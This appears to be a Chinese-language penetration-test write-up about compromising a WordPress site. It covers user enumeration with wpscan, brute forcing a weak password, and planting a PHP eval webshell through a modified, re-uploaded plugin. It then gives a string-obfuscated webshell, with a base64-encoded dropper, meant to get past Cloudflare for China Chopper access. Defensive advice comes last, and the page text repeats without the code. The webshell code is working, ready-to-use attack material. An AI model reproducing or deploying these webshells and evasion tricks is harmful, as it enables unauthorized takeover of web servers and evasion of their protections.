记述一件几年前的对外测试任务
字数 1136 2025-08-25 22:58:41

WordPress渗透测试实战:从信息搜集到获取Shell

1. 目标识别与信息搜集

1.1 目标分析

  • 目标网站:http://www.co.uk/
  • 子站点:http://co.uk/site/index.htm (寄生站,表明主站可能已被入侵)
  • CMS识别:WordPress系统

1.2 信息搜集工具使用

使用wpscan进行WordPress站点扫描:

wpscan --url http://www.co.uk --enumerate u

扫描获取的关键信息

  • WordPress版本
  • 已安装插件及其版本
  • 敏感目录
  • 有效用户名列表

2. 认证突破

2.1 弱口令爆破

  • 针对获取的用户名进行密码爆破
  • 成功获取凭证:用户名 + 密码"pass"
  • 通过wp-login.php后台登录页面成功登录

3. 权限提升与WebShell获取

3.1 直接上传尝试

  • 寻找上传点尝试上传图片马
  • 上传校验严格,直接上传失败

3.2 插件编辑方法

  1. 尝试编辑现有插件,遇到404错误
  2. 替代方案:
    • 从官方渠道下载相同插件
    • 本地修改插件文件
    • 重新打包上传

3.3 WebShell植入技术

修改插件文件添加PHP代码:

file_put_contents("../aaaa.php", '<?php @eval(base64_decode($_POST["chop"])); ?>');

路径测试技巧

  • 尝试不同相对路径:../ma.php../../ma.php./ma.php
  • 最终确定有效路径为../aaaa.php

4. 绕过安全防护

4.1 Cloudflare绕过

由于Cloudflare的防护,直接连接中国菜刀失败,采用以下方法:

  1. 使用变形的Base64编码一句话木马
  2. 通过PHP脚本中转连接

4.2 混淆的WebShell代码

<?php
$uf = "BPU1";
$ka = "QGVs2YWwoYmFzZT";
$pjt = "Y0X2RlY29kZSgkX1";
$vbl = str_replace("ti", "", "tistittirti_rtietipltiatice");
$iqw = "RbJ2Nob3AnXSkpOw==";
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");
$sbp = $vbl("ctw", "", "ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
$mpy = $sbp("", $bkf($vbl("s", "", $ka.$pjt.$uf.$iqw)));
$mpy();
?>

Base64编码版本

file_put_contents("../llll.php", base64_decode('PD9waHAgJHVmPSJCUFUxIjsgJGthPSJRR1ZzMllXd29ZbUZ6WlQiOyAkcGp0PSJZMFgyUmxZMjlrWlNna1gxIjsgJHZibCA9IHN0cl9yZXBsYWNlKCJ0aSIsIiIsInRpc3RpdHRpcnRpX3J0aWV0aXBsdGlhdGljZSIpOyAkaXF3PSJSYkoyTm9iM0FuWFNrcE93PT0iOyAkYmtmID0gJHZibCgiayIsICIiLCAia2Jha3NrZTZrNGtfa2RrZWtja29rZGtlIik7ICRzYnAgPSAkdmJsKCJjdHciLCIiLCJjdHdjY3R3cmVjdHdhdGN0d2VjdHdfZmN0d3VuY2N0d3RjdHdpb2N0d24iKTsgJG1weSA9ICRzYnAoIiIsICRia2YoJHZibCgicyIsIiIsICRrYS4kcGp0LiR1Zi4kaXF3KSkpOyAkbXB5KCk7ID8+Y3NzX2NvbmY='));

5. 连接建立与维持

5.1 WebShell激活

  1. 将修改后的插件打包上传
  2. 在WordPress后台激活插件
  3. 插件执行后生成WebShell文件

5.2 连接技巧

  1. 首次连接失败
  2. 添加管理员Cookie后重试
  3. 指定非标准端口(如9900)建立连接
  4. 成功建立中国菜刀连接

6. 关键知识点总结

  1. 信息搜集:wpscan是WordPress渗透的强大工具,能获取版本、插件、用户等关键信息
  2. 认证突破:弱口令仍然是常见漏洞,爆破前应收集尽可能多的用户名
  3. 权限提升:插件修改上传是WordPress中常见的持久化方法
  4. 路径探测:需要测试不同相对路径来定位可写目录
  5. 防护绕过:Cloudflare等防护可通过Base64编码和字符串混淆绕过
  6. 连接维持:非标准端口和Cookie添加可提高连接成功率

7. 防御建议

  1. 使用强密码策略,避免弱口令
  2. 定期更新WordPress核心和插件
  3. 限制插件编辑权限,禁用不必要的文件写入功能
  4. 实施Web应用防火墙(WAF)规则,检测异常文件操作
  5. 监控服务器上的异常文件创建行为
  6. 对上传文件进行严格的内容检查和重命名
WordPress渗透测试实战:从信息搜集到获取Shell 1. 目标识别与信息搜集 1.1 目标分析 目标网站:http://www.co.uk/ 子站点:http://co.uk/site/index.htm (寄生站,表明主站可能已被入侵) CMS识别:WordPress系统 1.2 信息搜集工具使用 使用 wpscan 进行WordPress站点扫描: 扫描获取的关键信息 : WordPress版本 已安装插件及其版本 敏感目录 有效用户名列表 2. 认证突破 2.1 弱口令爆破 针对获取的用户名进行密码爆破 成功获取凭证:用户名 + 密码"pass" 通过 wp-login.php 后台登录页面成功登录 3. 权限提升与WebShell获取 3.1 直接上传尝试 寻找上传点尝试上传图片马 上传校验严格,直接上传失败 3.2 插件编辑方法 尝试编辑现有插件,遇到404错误 替代方案: 从官方渠道下载相同插件 本地修改插件文件 重新打包上传 3.3 WebShell植入技术 修改插件文件添加PHP代码: 路径测试技巧 : 尝试不同相对路径: ../ma.php 、 ../../ma.php 、 ./ma.php 最终确定有效路径为 ../aaaa.php 4. 绕过安全防护 4.1 Cloudflare绕过 由于Cloudflare的防护,直接连接中国菜刀失败,采用以下方法: 使用变形的Base64编码一句话木马 通过PHP脚本中转连接 4.2 混淆的WebShell代码 Base64编码版本 : 5. 连接建立与维持 5.1 WebShell激活 将修改后的插件打包上传 在WordPress后台激活插件 插件执行后生成WebShell文件 5.2 连接技巧 首次连接失败 添加管理员Cookie后重试 指定非标准端口(如9900)建立连接 成功建立中国菜刀连接 6. 关键知识点总结 信息搜集 :wpscan是WordPress渗透的强大工具,能获取版本、插件、用户等关键信息 认证突破 :弱口令仍然是常见漏洞,爆破前应收集尽可能多的用户名 权限提升 :插件修改上传是WordPress中常见的持久化方法 路径探测 :需要测试不同相对路径来定位可写目录 防护绕过 :Cloudflare等防护可通过Base64编码和字符串混淆绕过 连接维持 :非标准端口和Cookie添加可提高连接成功率 7. 防御建议 使用强密码策略,避免弱口令 定期更新WordPress核心和插件 限制插件编辑权限,禁用不必要的文件写入功能 实施Web应用防火墙(WAF)规则,检测异常文件操作 监控服务器上的异常文件创建行为 对上传文件进行严格的内容检查和重命名